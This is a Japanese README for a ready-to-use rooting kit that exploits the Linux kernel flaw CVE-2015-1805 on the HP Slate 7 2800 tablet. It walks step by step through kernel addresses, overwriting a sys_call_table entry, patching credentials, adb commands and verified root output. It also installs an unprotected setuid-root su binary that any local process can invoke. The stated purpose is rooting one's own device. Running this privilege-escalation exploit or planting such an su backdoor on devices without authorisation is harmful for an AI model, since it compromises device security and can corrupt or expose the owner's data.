
CVE-2015-1805 を使用した HP Slate 7 2800 Android 4.1.1 root化キット。
English | Русский
このリポジトリには、ローカル脆弱性 CVE-2015-1805 を悪用して、ファームウェア 1.05.18 とカーネル Linux 3.0.8+ を搭載した HP Slate 7 2800 で永続的な root アクセスを取得するための、完全かつ自己完結型のキットが含まれています。このキットは実機のタブレットで実行され、その結果は新しい ADB セッションと通常の再起動後に検証されました。
これは汎用的な Android ルート化ツールではありません。このエクスプロイトは、この HP カーネル構成に固有のものです。異なるモデル、ファームウェア、またはカーネルバージョンでは実行しないでください。
| パラメーター | 検証済みの値 |
|---|---|
| メーカーとモデル | HP Slate 7 2800 |
| Android | 4.1.1、API 16、ビルド JRO03H |
| プロダクト / デバイス | t7h / pine |
| プロセッサー | Rockchip RK3066、ARMv7 |
| ビルドフィンガープリント | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| カーネル | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32ビット ARM EABI5 |
| SELinux | カーネル構成には存在しない (CONFIG_SECURITY は無効) |
/system パーティション | ext4、デフォルトでは読み取り専用でマウント |
以下のコマンドで、デバイスに変更を加えずに確認できます:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
または、以下のスクリプトを使用してください。フィンガープリントまたはカーネルバージョンのいずれかが一致しない場合、実行を拒否します:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
検証済みバイナリの SHA-256 チェックサム:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
macOS での検証:
shasum -a 256 -c SHA256SUMS
Linux での検証:
sha256sum -c SHA256SUMS
タブレットでは bin/ 内のファイルを使用してください。これらはデバイス上で検証された正確なバイト列です。build/ ディレクトリはローカルでの再ビルド用であり、Git では追跡されません。
CVE-2015-1805 は、古い Linux カーネルの pipe_read() および pipe_write() の実装に存在する欠陥です。アトミックコピーが失敗すると、コードは誤って iovec 配列の走査を継続し、ポインターが境界を超えて移動する可能性があります。その結果、特権を持たないローカルプロセスがメモリを破壊し、カーネルをクラッシュさせたり、特権を昇格させたりすることができます。この仕組みの詳細な解説は oss-security で公開されています。修正は、とりわけ上流 Linux のコミット 637b58c と f0d1bec に含まれています。
タブレットの 3.0.8+ カーネルは脆弱であることが確認されました。カーネルメモリを変更する前に、同じ競合状態が、2つの書き込み先が両方ともテストプロセスの通常メモリ内にある無害なプローブで別途テストされました。プローブは CVE-2015-1805: VULNERABLE を報告し、タブレットは ADB 経由でアクセス可能なままでした。
readv()、メモリマッピングの変更、およびカーネルの脆弱なパイプコードでの大きな iovec 配列の処理の間で競合状態を作り出します。sys_call_table の未使用エントリ 222 を、エクスプロイトプロセス内の小さな ARM トランポリンのアドレスで一時的に置き換えます。0xffff0008 のハイベクタを介して計算されます。検証済みデバイスでは、命令は 0xe59ff410 であり、そのリテラルは vector_swi = 0xc04d0d40 を指しています。vector_swi と sys_call_table は、公式 HP Open Source 1.05.10 カーネルアーカイブ (アーカイブ SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2) から rk30_t7h_dvt_defconfig defconfig を使用して独立に組み立てられました。それらのオフセットは 0xc4 です。インストールされているファームウェアには OABI も seccomp もないため、テーブルの最終的な実行時アドレスは 0xc04d0e04 です。古いカーネルヘッダーの元の current_thread_info() 関数は、-O0 では最新の Clang と互換性がありませんでした。初期のプロトタイプは sp レジスタではなく初期化されていないワードを読み取り、カーネルをクラッシュさせる可能性がありました。このリポジトリでは、検証済みの naked ARM トランポリンに置き換えられています。初期のバイナリはリポジトリには含まれていません。
bin/ の既製ファイルを使用する場合adb。Android NDK、Java、Python、fastboot、ロック解除されたブートローダー、カスタムリカバリ、ルート化 APK、ネットワークアクセスは不要です。エクスプロイトとペイロードは静的リンクされています。
shasum または sha256sum。Android NDK はやはり不要です。Zig が ARM musl クロスツールチェーンを提供します。
接続を確認します:
adb devices -l
ステータスは device である必要があり、offline や unauthorized であってはなりません。
リポジトリのルートに移動し、まずデバイスが完全に一致することを確認します:
./scripts/check-target.sh
複数のデバイスが接続されている場合は、adb -s SERIAL を使用してすべてのコマンドにシリアル番号を渡すか、ANDROID_SERIAL 環境変数を設定してください。
相互に期待される名前を使用して、3つのファイルをアップロードします:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
パーミッションを設定し、ステージングされたファイルをストレージにフラッシュします:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
エクスプロイトを 1回だけ 実行します:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
検証済みの成功出力:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
デバイスが数秒間 ADB から消えても、エクスプロイトを再度実行しないでください。戻ってくるのを待ちます:
adb wait-for-device
このスクリプトは、フィンガープリントとカーネルを検証し、SHA-256 ハッシュをチェックし、ファイルをアップロードし、ROOT の入力を求めて、エクスプロイトを実行し、uid=0 を検証します:
./scripts/root-device.sh
複数のデバイスの場合:
./scripts/root-device.sh --serial ADB_SERIAL
--yes オプションはインタラクティブな確認を無効にし、意図的な自動化でのみ使用することを想定しています:
./scripts/root-device.sh --serial ADB_SERIAL --yes
エクスプロイトプロセスの uid からではなく、新しい ADB シェルから root を検証します:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
期待される出力:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
次に、一時的なステージングファイルのみを削除します。インストールされた /system/xbin/su は削除されません:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
このキットは /data/local.prop を作成せず、ユーザーデータも変更しません。
通常の再起動を実行し、その後で永続的な root を検証します:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
検証済みタブレットは、再起動後に次の結果を生成しました:
uid=0(root) gid=0(root) ...
インストールされたファイルはタブレットから取得され、bin/hp-slate7-su とバイト単位で一致しました:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
単一のコマンドを実行するには:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su は、Android アプリ、確認プロンプト、デーモン、パーミッションログを持たない、意図的に最小限のラッパーです。/system/xbin/su を実行できるローカルプロセスは、root を取得できる可能性があります。ルート化後は、この旧式のタブレットを機密データに使用しないでください。また、信頼できない APK をインストールしないでください。
ポータブル Zig 0.15.2 へのパスを指定するか、zig を PATH に追加します:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
出力は build/ に書き込まれます:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
ファイル形式を確認します:
file build/hp-slate7-*
3つのファイルはすべて 32ビット ARM EABI5 ELF ファイルである必要があります。検証済みの Zig 0.15.2 バージョンでは、インストーラーと su は bin/ 内のファイルとバイト単位で完全に同一に再ビルドされます。エクスプロイトのハッシュは、DWARF とリンカーメタデータ内の絶対パスのために異なる場合があります。その重要な6命令のトランポリンは、検証ビルドでバイト単位で同一でした。再ビルドしても、タブレットで実際に実行された bin/ 内のファイルのチェックサムは置き換えられません。
unauthorized画面のロックを解除し、USB デバッグの RSA キーを承認します。プロンプトが表示されない場合は、ケーブルを再接続して adb devices -l を再度実行してください。
offline、またはデバイスが消える場合数秒待って adb wait-for-device を実行します。タブレットの電源が切れている場合は、電源ボタンで通常どおりオンにします。エクスプロイトの2つ目のインスタンスを同時に実行しないでください。
[+] Done を出力しなかった場合この CVE は競合状態を通じて悪用されるため、理論上は失敗する可能性があります。再試行は1回だけにし、その前にタブレットを再起動してください。バイナリをループで実行しないでください。競合状態の失敗はカーネルをクラッシュさせる可能性があります。
su は存在するが、コマンドがコード 127 で終了する場合ファイルの SHA-256 ハッシュを確認してください。初期の調査用ラッパーは ARM で argv を誤って処理し、コード 127 で終了しました。このリポジトリには、SHA-256 が 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e の修正済み 656バイト版が含まれています。
Android の実際の状態を確認します:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
sys.boot_completed=1 は、物理ディスプレイがまだ古いフレームを表示していても、Android が起動したことを意味します。
他のよく知られた手法は、このデバイスでは安全に除外されるか、不適切であると判断されました: CVE-2013-6282、CVE-2013-2094、CVE-2012-0056、CVE-2013-4787、Dirty COW、PingPongRoot。Towelroot/CVE-2014-3153 はこのカーネルをクラッシュさせたため、使用してはなりません。CVE-2014-7951 は ADB リストアのパストラバーサルを介してファイルを書き込むことを可能にしましたが、HP ファームウェアは /data/local.prop を読み込まなかったため、この方法では root は得られませんでした。
ブートローダーは古い Rockchip ローダーを使用しており、標準の fastboot デバイスとしては認識されませんでした。この結果を得るために、リカバリのフラッシュやブートローダーのロック解除は必要ありませんでした。
エクスプロイトコードは mobilelinux/iovy_root_research のコミット f945796 に基づいており、さらに dosomder/iovyroot を参照しています。デバイス固有の変更には、スレッド数の削減、タイムアウトの修正、naked ARM トランポリンの使用、システムコールテーブルの早期復元、cred の検証、該当しない SELinux ブランチの無効化が含まれます。
元の通知は保存されています。このリポジトリは GPL-3.0 の下で配布されています。LICENSE と NOTICE を参照してください。
カーネルメモリの悪用には、デバイスの再起動、システムの破損、データ損失のリスクが常に伴います。このキットは、あなたが所有し、ファームウェアが完全に一致する HP Slate 7 2800 のみを対象としています。重要なデータはバックアップし、他人のデバイスでは使用しないでください。
セキュリティ調査とドキュメントは、Daybreak Blue サイバーセキュリティアクセスを備えた GPT-5.6 Sol を搭載した OpenAI Codex の支援を受けて完了しました。
| ファイル | 形式 | サイズ | 目的 |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32ビット ARM EABI5、静的、strip なし | 2,722,320 バイト | CVE を悪用して uid 0 を取得し、インストーラーを起動 |
bin/hp-slate7-install-root | ELF 32ビット ARM EABI5、静的、strip 済み | 22,596 バイト | /system を一時的に rw で再マウントし、su をインストールして ro に戻す |
bin/hp-slate7-su | ELF 32ビット ARM EABI5、静的、strip 済み | 656 バイト | setresgid(0,0,0) と setresuid(0,0,0) を呼び出してから /system/bin/sh を起動 |
sp を取得し、8,192バイトのカーネルスタックサイズに整列させ、オフセット 8 の thread_info.addr_limit にのみ -1 を書き込みます。外部呼び出し、プロローグ、コンパイラのランタイムコードは含まれていません。sys_ni_syscall です。検証済みカーネルで復元されたポインターは 0xc051900c です。addr_limit が拡張されると、パイプコピーは現在の task_struct を読み取り、cred を見つけ、現在の uid/gid 値、アライメント、参照カウント、および real_cred == cred 条件を使用して構造体を検証します。これらのチェックの後でのみ、uid/gid 値がゼロにされ、ケーパビリティマスクがすべて 1 で埋められます。uid=0 を取得し、/data/local/tmp/install-root を起動します。インストーラーは /system を rw で再マウントし、ペイロードを /system/xbin/su にコピーし、root:root の所有権とモード 06755 を設定し、sync() を呼び出し、/system を読み取り専用で再マウントします。